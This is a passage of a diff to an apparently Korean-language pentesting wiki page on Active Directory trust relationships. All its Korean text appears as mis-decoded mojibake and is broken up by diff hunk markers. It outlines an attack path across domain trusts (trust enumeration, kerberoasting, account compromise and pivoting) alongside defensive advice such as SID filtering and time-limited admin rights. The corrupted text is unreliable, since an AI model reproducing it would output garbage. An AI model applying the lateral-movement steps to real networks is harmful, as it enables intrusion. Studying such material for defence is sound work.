๋„๋ฉ”์ธ์—์„œ ์‹ ๋ขฐํ•˜๋Š” ๋„๋ฉ”์ธ ๋‚ด์˜ ๋ฆฌ์†Œ์Šค์—๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๋„๋ฉ”์ธ A๊ฐ€ ๋„๋ฉ”์ธ B๋ฅผ ์‹ ๋ขฐํ•˜๋ฉด, A๋Š” ์‹ ๋ขฐํ•˜๋Š” ๋„๋ฉ”์ธ์ด๊ณ  B๋Š” ์‹ ๋ขฐ๋ฐ›๋Š” ๋„๋ฉ”์ธ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ, **๋„๋ฉ”์ธ A**์—์„œ๋Š” ์ด๊ฒƒ์ด **์•„์›ƒ๋ฐ”์šด๋“œ ์‹ ๋ขฐ**๊ฐ€ ๋˜๊ณ , **๋„๋ฉ”์ธ B**์—์„œ๋Š” ์ด๊ฒƒ์ด **์ธ๋ฐ”์šด๋“œ ์‹ ๋ขฐ**๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. **๋‹ค์–‘ํ•œ ์‹ ๋ขฐ ๊ด€๊ณ„** - **๋ถ€๋ชจ-์ž์‹ ์‹ ๋ขฐ**: ์ด๋Š” ๋™์ผํ•œ ํฌ๋ฆฌ์ŠคํŠธ ๋‚ด์—์„œ ์ผ๋ฐ˜์ ์ธ ์„ค์ •์œผ๋กœ, ์ž์‹ ๋„๋ฉ”์ธ์€ ์ž๋™์œผ๋กœ ๋ถ€๋ชจ ๋„๋ฉ”์ธ๊ณผ 2๋ฐฉํ–ฅ ์ „์ด ์‹ ๋ขฐ๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค. ๋ณธ์งˆ์ ์œผ๋กœ ์ด๋Š” ์ธ์ฆ ์š”์ฒญ์ด ๋ถ€๋ชจ์™€ ์ž์‹ ๊ฐ„์— ์›ํ™œํ•˜๊ฒŒ ํ๋ฅผ ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. -- **๊ต์ฐจ ๋งํฌ ์‹ ๋ขฐ**: "๋‹จ์ถ• ์‹ ๋ขฐ"๋ผ๊ณ ๋„ ํ•˜๋ฉฐ, ์ž์‹ ๋„๋ฉ”์ธ ๊ฐ„์— ์„ค์ •๋˜์–ด ์ฐธ์กฐ ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ฐ€์†ํ™”ํ•ฉ๋‹ˆ๋‹ค. ๋ณต์žกํ•œ ํฌ๋ฆฌ์ŠคํŠธ์—์„œ๋Š” ์ธ์ฆ ์ฐธ์กฐ๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ํฌ๋ฆฌ์ŠคํŠธ ๋ฃจํŠธ๋กœ ์˜ฌ๋ผ๊ฐ”๋‹ค๊ฐ€ ๋Œ€์ƒ ๋„๋ฉ”์ธ์œผ๋กœ ๋‚ด๋ ค๊ฐ€์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ต์ฐจ ๋งํฌ๋ฅผ ์ƒ์„ฑํ•จ์œผ๋กœ์จ ์—ฌ์ •์„ ๋‹จ์ถ•ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ง€๋ฆฌ์ ์œผ๋กœ ๋ถ„์‚ฐ๋œ ํ™˜๊ฒฝ์—์„œ ํŠนํžˆ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. -- **์™ธ๋ถ€ ์‹ ๋ขฐ**: ์ด๋Š” ์„œ๋กœ ๊ด€๋ จ์ด ์—†๋Š” ๋„๋ฉ”์ธ ๊ฐ„์— ์„ค์ •๋˜๋ฉฐ ๋ณธ์งˆ์ ์œผ๋กœ ๋น„์ „์ด์ ์ž…๋‹ˆ๋‹ค. [Microsoft์˜ ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด](), ์™ธ๋ถ€ ์‹ ๋ขฐ๋Š” ํ˜„์žฌ ํฌ๋ฆฌ์ŠคํŠธ์™€ ์—ฐ๊ฒฐ๋˜์ง€ ์•Š์€ ๋„๋ฉ”์ธ์—์„œ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋ณด์•ˆ์€ ์™ธ๋ถ€ ์‹ ๋ขฐ์™€ ํ•จ๊ป˜ SID ํ•„ํ„ฐ๋ง์„ ํ†ตํ•ด ๊ฐ•ํ™”๋ฉ๋‹ˆ๋‹ค. +- **ํฌ๋กœ์Šค ๋งํฌ ์‹ ๋ขฐ**: "๋‹จ์ถ• ์‹ ๋ขฐ"๋ผ๊ณ ๋„ ํ•˜๋ฉฐ, ์ž์‹ ๋„๋ฉ”์ธ ๊ฐ„์— ์„ค์ •๋˜์–ด ์ฐธ์กฐ ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ฐ€์†ํ™”ํ•ฉ๋‹ˆ๋‹ค. ๋ณต์žกํ•œ ํฌ๋ฆฌ์ŠคํŠธ์—์„œ๋Š” ์ธ์ฆ ์ฐธ์กฐ๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ํฌ๋ฆฌ์ŠคํŠธ ๋ฃจํŠธ๋กœ ์˜ฌ๋ผ๊ฐ”๋‹ค๊ฐ€ ๋Œ€์ƒ ๋„๋ฉ”์ธ์œผ๋กœ ๋‚ด๋ ค๊ฐ€์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํฌ๋กœ์Šค ๋งํฌ๋ฅผ ์ƒ์„ฑํ•จ์œผ๋กœ์จ ์—ฌ์ •์„ ๋‹จ์ถ•ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ง€๋ฆฌ์ ์œผ๋กœ ๋ถ„์‚ฐ๋œ ํ™˜๊ฒฝ์—์„œ ํŠนํžˆ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. +- **์™ธ๋ถ€ ์‹ ๋ขฐ**: ์ด๋Š” ์„œ๋กœ ๊ด€๋ จ์ด ์—†๋Š” ๋„๋ฉ”์ธ ๊ฐ„์— ์„ค์ •๋˜๋ฉฐ ๋ณธ์งˆ์ ์œผ๋กœ ๋น„์ „์ด์ ์ž…๋‹ˆ๋‹ค. [Microsoft์˜ ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด](), ์™ธ๋ถ€ ์‹ ๋ขฐ๋Š” ํ˜„์žฌ ํฌ๋ฆฌ์ŠคํŠธ ์™ธ๋ถ€์˜ ๋„๋ฉ”์ธ์—์„œ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๋Š” ๋ฐ ์œ ์šฉํ•˜๋ฉฐ, ํฌ๋ฆฌ์ŠคํŠธ ์‹ ๋ขฐ๋กœ ์—ฐ๊ฒฐ๋˜์ง€ ์•Š์€ ๋„๋ฉ”์ธ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค. ์™ธ๋ถ€ ์‹ ๋ขฐ๋ฅผ ํ†ตํ•ด SID ํ•„ํ„ฐ๋ง์„ ํ†ตํ•ด ๋ณด์•ˆ์ด ๊ฐ•ํ™”๋ฉ๋‹ˆ๋‹ค. - **ํŠธ๋ฆฌ ๋ฃจํŠธ ์‹ ๋ขฐ**: ์ด๋Ÿฌํ•œ ์‹ ๋ขฐ๋Š” ํฌ๋ฆฌ์ŠคํŠธ ๋ฃจํŠธ ๋„๋ฉ”์ธ๊ณผ ์ƒˆ๋กœ ์ถ”๊ฐ€๋œ ํŠธ๋ฆฌ ๋ฃจํŠธ ๊ฐ„์— ์ž๋™์œผ๋กœ ์„ค์ •๋ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์ž์ฃผ ๋ฐœ์ƒํ•˜์ง€ ์•Š์ง€๋งŒ, ํŠธ๋ฆฌ ๋ฃจํŠธ ์‹ ๋ขฐ๋Š” ํฌ๋ฆฌ์ŠคํŠธ์— ์ƒˆ๋กœ์šด ๋„๋ฉ”์ธ ํŠธ๋ฆฌ๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๊ณ ์œ ํ•œ ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ์œ ์ง€ํ•˜๊ณ  2๋ฐฉํ–ฅ ์ „์ด์„ฑ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. [Microsoft์˜ ๊ฐ€์ด๋“œ์—์„œ ๋” ๋งŽ์€ ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.](). - **ํฌ๋ฆฌ์ŠคํŠธ ์‹ ๋ขฐ**: ์ด ์œ ํ˜•์˜ ์‹ ๋ขฐ๋Š” ๋‘ ํฌ๋ฆฌ์ŠคํŠธ ๋ฃจํŠธ ๋„๋ฉ”์ธ ๊ฐ„์˜ 2๋ฐฉํ–ฅ ์ „์ด ์‹ ๋ขฐ๋กœ, ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ๊ฐ•ํ™”ํ•˜๊ธฐ ์œ„ํ•ด SID ํ•„ํ„ฐ๋ง์„ ์‹œํ–‰ํ•ฉ๋‹ˆ๋‹ค. -- **MIT ์‹ ๋ขฐ**: ์ด๋Ÿฌํ•œ ์‹ ๋ขฐ๋Š” ๋น„ Windows, [RFC4120 ์ค€์ˆ˜](https://tools.ietf.org/html/rfc4120) Kerberos ๋„๋ฉ”์ธ๊ณผ ์„ค์ •๋ฉ๋‹ˆ๋‹ค. MIT ์‹ ๋ขฐ๋Š” ์ข€ ๋” ์ „๋ฌธํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ, Windows ์ƒํƒœ๊ณ„ ์™ธ๋ถ€์˜ Kerberos ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ๊ณผ์˜ ํ†ตํ•ฉ์ด ํ•„์š”ํ•œ ํ™˜๊ฒฝ์„ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. +- **MIT ์‹ ๋ขฐ**: ์ด๋Ÿฌํ•œ ์‹ ๋ขฐ๋Š” ๋น„ Windows, [RFC4120 ์ค€์ˆ˜](https://tools.ietf.org/html/rfc4120) Kerberos ๋„๋ฉ”์ธ๊ณผ ์„ค์ •๋ฉ๋‹ˆ๋‹ค. MIT ์‹ ๋ขฐ๋Š” ์ข€ ๋” ์ „๋ฌธํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ, Windows ์ƒํƒœ๊ณ„ ์™ธ๋ถ€์˜ Kerberos ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ๊ณผ์˜ ํ†ตํ•ฉ์ด ํ•„์š”ํ•œ ํ™˜๊ฒฝ์— ๋งž์ถฐ์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. #### **์‹ ๋ขฐ ๊ด€๊ณ„์˜ ๋‹ค๋ฅธ ์ฐจ์ด์ ** @@ -541,15 +541,15 @@ Microsoft๋Š” **ํฌ๋ฆฌ์ŠคํŠธ**๋ฅผ ๋ณด์•ˆ ๊ฒฝ๊ณ„๋กœ ๊ฐ„์ฃผํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” **๋‹จ ### ๊ณต๊ฒฉ ๊ฒฝ๋กœ 1. **์‹ ๋ขฐ ๊ด€๊ณ„๋ฅผ ์—ด๊ฑฐ**ํ•ฉ๋‹ˆ๋‹ค. -2. ์–ด๋–ค **๋ณด์•ˆ ์ฃผ์ฒด**(์‚ฌ์šฉ์ž/๊ทธ๋ฃน/์ปดํ“จํ„ฐ)๊ฐ€ **๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€** ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ACE ํ•ญ๋ชฉ์ด๋‚˜ ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ๊ทธ๋ฃน์— ์†ํ•ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **๋„๋ฉ”์ธ ๊ฐ„์˜ ๊ด€๊ณ„**๋ฅผ ์ฐพ์•„๋ณด์„ธ์š” (์‹ ๋ขฐ๊ฐ€ ์ด ๋ชฉ์ ์„ ์œ„ํ•ด ์ƒ์„ฑ๋˜์—ˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค). +2. ์–ด๋–ค **๋ณด์•ˆ ์ฃผ์ฒด**(์‚ฌ์šฉ์ž/๊ทธ๋ฃน/์ปดํ“จํ„ฐ)๊ฐ€ **๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผ**ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ACE ํ•ญ๋ชฉ์ด๋‚˜ ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ๊ทธ๋ฃน์— ์†ํ•ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **๋„๋ฉ”์ธ ๊ฐ„์˜ ๊ด€๊ณ„**๋ฅผ ์ฐพ์•„๋ณด์„ธ์š” (์‹ ๋ขฐ๊ฐ€ ์ด ๋ชฉ์ ์„ ์œ„ํ•ด ์ƒ์„ฑ๋˜์—ˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค). 3. ์ด ๊ฒฝ์šฐ kerberoast๊ฐ€ ๋˜ ๋‹ค๋ฅธ ์˜ต์…˜์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 4. **๊ณ„์ •์„ ์†์ƒ์‹œ์ผœ** ๋„๋ฉ”์ธ ๊ฐ„์— **ํ”ผ๋ฒ—**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ ์„ธ ๊ฐ€์ง€ ์ฃผ์š” ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ†ตํ•ด ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: - **๋กœ์ปฌ ๊ทธ๋ฃน ๊ตฌ์„ฑ์› ์ž๊ฒฉ**: ์ฃผ์ฒด๋Š” ์„œ๋ฒ„์˜ "๊ด€๋ฆฌ์ž" ๊ทธ๋ฃน๊ณผ ๊ฐ™์€ ๋จธ์‹ ์˜ ๋กœ์ปฌ ๊ทธ๋ฃน์— ์ถ”๊ฐ€๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ํ•ด๋‹น ๋จธ์‹ ์— ๋Œ€ํ•œ ์ƒ๋‹นํ•œ ์ œ์–ด๋ฅผ ๋ถ€์—ฌ๋ฐ›์Šต๋‹ˆ๋‹ค. -- **์™ธ๋ถ€ ๋„๋ฉ”์ธ ๊ทธ๋ฃน ๊ตฌ์„ฑ์› ์ž๊ฒฉ**: ์ฃผ์ฒด๋Š” ์™ธ๋ถ€ ๋„๋ฉ”์ธ ๋‚ด์˜ ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์ด ๋  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ฐฉ๋ฒ•์˜ ํšจ๊ณผ๋Š” ์‹ ๋ขฐ์˜ ์„ฑ๊ฒฉ๊ณผ ๊ทธ๋ฃน์˜ ๋ฒ”์œ„์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค. -- **์•ก์„ธ์Šค ์ œ์–ด ๋ชฉ๋ก(ACL)**: ์ฃผ์ฒด๋Š” **ACL**์— ์ง€์ •๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํŠนํžˆ **DACL** ๋‚ด์˜ **ACE**๋กœ์„œ ํŠน์ • ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ACL, DACL ๋ฐ ACE์˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์— ๋Œ€ํ•ด ๋” ๊นŠ์ด ํŒŒ๊ณ ๋“ค๊ณ ์ž ํ•˜๋Š” ๋ถ„๋“ค์„ ์œ„ํ•ด, "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)"๋ผ๋Š” ๋ฐฑ์„œ๊ฐ€ ๊ท€์ค‘ํ•œ ์ž๋ฃŒ์ž…๋‹ˆ๋‹ค. +- **์™ธ๋ถ€ ๋„๋ฉ”์ธ ๊ทธ๋ฃน ๊ตฌ์„ฑ์› ์ž๊ฒฉ**: ์ฃผ์ฒด๋Š” ์™ธ๋ถ€ ๋„๋ฉ”์ธ ๋‚ด์˜ ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์ผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ฐฉ๋ฒ•์˜ ํšจ๊ณผ๋Š” ์‹ ๋ขฐ์˜ ์„ฑ๊ฒฉ๊ณผ ๊ทธ๋ฃน์˜ ๋ฒ”์œ„์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค. +- **์•ก์„ธ์Šค ์ œ์–ด ๋ชฉ๋ก(ACL)**: ์ฃผ์ฒด๋Š” **ACL**์— ์ง€์ •๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํŠนํžˆ **DACL** ๋‚ด์˜ **ACE**๋กœ์„œ ํŠน์ • ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ACL, DACL ๋ฐ ACE์˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์— ๋Œ€ํ•ด ๋” ๊นŠ์ด ํŒŒ๊ณ ๋“ค๊ณ ์ž ํ•˜๋Š” ๋ถ„๋“ค์„ ์œ„ํ•ด, โ€œ[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)โ€๋ผ๋Š” ๋ฐฑ์„œ๊ฐ€ ๊ท€์ค‘ํ•œ ์ž๋ฃŒ์ž…๋‹ˆ๋‹ค. ### ์ž์‹-๋ถ€๋ชจ ํฌ๋ฆฌ์ŠคํŠธ ๊ถŒํ•œ ์ƒ์Šน ``` @@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ **๊ท€ํ•˜์˜ ๋„๋ฉ”์ธ์€ ์™ธ๋ถ€ ๋„๋ฉ”์ธ์— ์˜ํ•ด ์‹ ๋ขฐ๋ฐ›๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค**, ์ด๋Š” ๊ท€ํ•˜์—๊ฒŒ **๋ถˆํ™•์‹คํ•œ ๊ถŒํ•œ**์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. ๊ท€ํ•˜๋Š” **๊ท€ํ•˜์˜ ๋„๋ฉ”์ธ์—์„œ ์™ธ๋ถ€ ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด ์–ด๋–ค ์ฃผ์ฒด๊ฐ€ ์–ด๋–ค ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€** ์ฐพ์•„์•ผ ํ•˜๋ฉฐ, ๊ทธ ๋‹ค์Œ ์ด๋ฅผ ์•…์šฉํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: +์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ **๊ท€ํ•˜์˜ ๋„๋ฉ”์ธ์€ ์™ธ๋ถ€ ๋„๋ฉ”์ธ์— ์˜ํ•ด ์‹ ๋ขฐ๋ฐ›๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค**, ์ด๋Š” ๊ท€ํ•˜์—๊ฒŒ **ํ™•์ธ๋˜์ง€ ์•Š์€ ๊ถŒํ•œ**์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. ๊ท€ํ•˜๋Š” **๊ท€ํ•˜์˜ ๋„๋ฉ”์ธ์—์„œ ์™ธ๋ถ€ ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด ์–ด๋–ค ์ฃผ์ฒด๊ฐ€ ์–ด๋–ค ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€** ์ฐพ์•„์•ผ ํ•˜๋ฉฐ, ๊ทธ ํ›„ ์ด๋ฅผ ์•…์šฉํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: {{#ref}} external-forest-domain-oneway-inbound.md @@ -658,7 +658,7 @@ rdp-sessions-abuse.md ### **SID ํ•„ํ„ฐ๋ง:** -- SID ํžˆ์Šคํ† ๋ฆฌ ์†์„ฑ์„ ํ™œ์šฉํ•œ ๊ณต๊ฒฉ์˜ ์œ„ํ—˜์€ SID ํ•„ํ„ฐ๋ง์— ์˜ํ•ด ์™„ํ™”๋˜๋ฉฐ, ์ด๋Š” ๋ชจ๋“  ์ƒํ˜ธ ์ˆฒ ์‹ ๋ขฐ์—์„œ ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” Microsoft์˜ ์ž…์žฅ์— ๋”ฐ๋ผ ์ˆฒ์„ ๋ณด์•ˆ ๊ฒฝ๊ณ„๋กœ ๊ฐ„์ฃผํ•˜๊ณ , ์ˆฒ ๋‚ด ์‹ ๋ขฐ๊ฐ€ ์•ˆ์ „ํ•˜๋‹ค๋Š” ๊ฐ€์ •์— ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค. +- SID ์—ญ์‚ฌ ์†์„ฑ์„ ํ™œ์šฉํ•œ ๊ณต๊ฒฉ์˜ ์œ„ํ—˜์€ SID ํ•„ํ„ฐ๋ง์— ์˜ํ•ด ์™„ํ™”๋˜๋ฉฐ, ์ด๋Š” ๋ชจ๋“  ์ƒํ˜ธ ์ˆฒ ์‹ ๋ขฐ์—์„œ ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” Microsoft์˜ ์ž…์žฅ์— ๋”ฐ๋ผ ์ˆฒ์„ ๋ณด์•ˆ ๊ฒฝ๊ณ„๋กœ ๊ฐ„์ฃผํ•˜๊ณ , ์ˆฒ ๋‚ด ์‹ ๋ขฐ๊ฐ€ ์•ˆ์ „ํ•˜๋‹ค๋Š” ๊ฐ€์ •์— ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค. - ๊ทธ๋Ÿฌ๋‚˜ ์ฃผ์˜ํ•  ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค: SID ํ•„ํ„ฐ๋ง์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ์‚ฌ์šฉ์ž ์ ‘๊ทผ์„ ๋ฐฉํ•ดํ•  ์ˆ˜ ์žˆ์–ด ๊ฐ€๋” ๋น„ํ™œ์„ฑํ™”๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### **์„ ํƒ์  ์ธ์ฆ:** @@ -671,7 +671,7 @@ rdp-sessions-abuse.md ## AD -> Azure & Azure -> AD {{#ref}} -https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity +https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html {{#endref}} ## ์ผ๋ฐ˜์ ์ธ ๋ฐฉ์–ด ๋ฐฉ๋ฒ• @@ -680,26 +680,26 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement ### **์ž๊ฒฉ ์ฆ๋ช… ๋ณดํ˜ธ๋ฅผ ์œ„ํ•œ ๋ฐฉ์–ด ์กฐ์น˜** -- **๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ์ œํ•œ**: ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž๋Š” ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—๋งŒ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๋„๋ก ๊ถŒ์žฅํ•˜๋ฉฐ, ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ์—์„œ์˜ ์‚ฌ์šฉ์€ ํ”ผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +- **๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ์ œํ•œ**: ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž๋Š” ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—๋งŒ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๋„๋ก ์ œํ•œํ•˜๋Š” ๊ฒƒ์ด ์ข‹์œผ๋ฉฐ, ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ์—์„œ์˜ ์‚ฌ์šฉ์€ ํ”ผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. - **์„œ๋น„์Šค ๊ณ„์ • ๊ถŒํ•œ**: ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์„œ๋น„์Šค๋Š” ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž(DA) ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋˜์–ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค. - **์ž„์‹œ ๊ถŒํ•œ ์ œํ•œ**: DA ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ์ž‘์—…์˜ ๊ฒฝ์šฐ, ๊ทธ ๊ธฐ๊ฐ„์„ ์ œํ•œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: `Add-ADGroupMember -Identity โ€˜Domain Adminsโ€™ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ### **๊ธฐ๋งŒ ๊ธฐ์ˆ  ๊ตฌํ˜„** -- ๊ธฐ๋งŒ์„ ๊ตฌํ˜„ํ•˜๋Š” ๊ฒƒ์€ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋งŒ๋ฃŒ๋˜์ง€ ์•Š๊ฑฐ๋‚˜ ์œ„์ž„์„ ์œ„ํ•ด ์‹ ๋ขฐ๋œ ๊ฒƒ์œผ๋กœ ํ‘œ์‹œ๋œ ๊ฒƒ๊ณผ ๊ฐ™์€ ๊ธฐ๋Šฅ์„ ๊ฐ€์ง„ ์œ ์ธ ์‚ฌ์šฉ์ž ๋˜๋Š” ์ปดํ“จํ„ฐ๋ฅผ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๊ตฌ์ฒด์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹์€ ํŠน์ • ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋ฅผ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ ๋†’์€ ๊ถŒํ•œ ๊ทธ๋ฃน์— ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. +- ๊ธฐ๋งŒ์„ ๊ตฌํ˜„ํ•˜๋Š” ๊ฒƒ์€ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋งŒ๋ฃŒ๋˜์ง€ ์•Š๊ฑฐ๋‚˜ ์œ„์ž„์„ ์œ„ํ•ด ์‹ ๋ขฐ๋œ ๊ฒƒ์œผ๋กœ ํ‘œ์‹œ๋œ ์‚ฌ์šฉ์ž ๋˜๋Š” ์ปดํ“จํ„ฐ์™€ ๊ฐ™์€ ํ•จ์ •์„ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๊ตฌ์ฒด์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹์€ ํŠน์ • ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋ฅผ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ ๋†’์€ ๊ถŒํ•œ ๊ทธ๋ฃน์— ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. - ์‹ค์šฉ์ ์ธ ์˜ˆ๋กœ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” 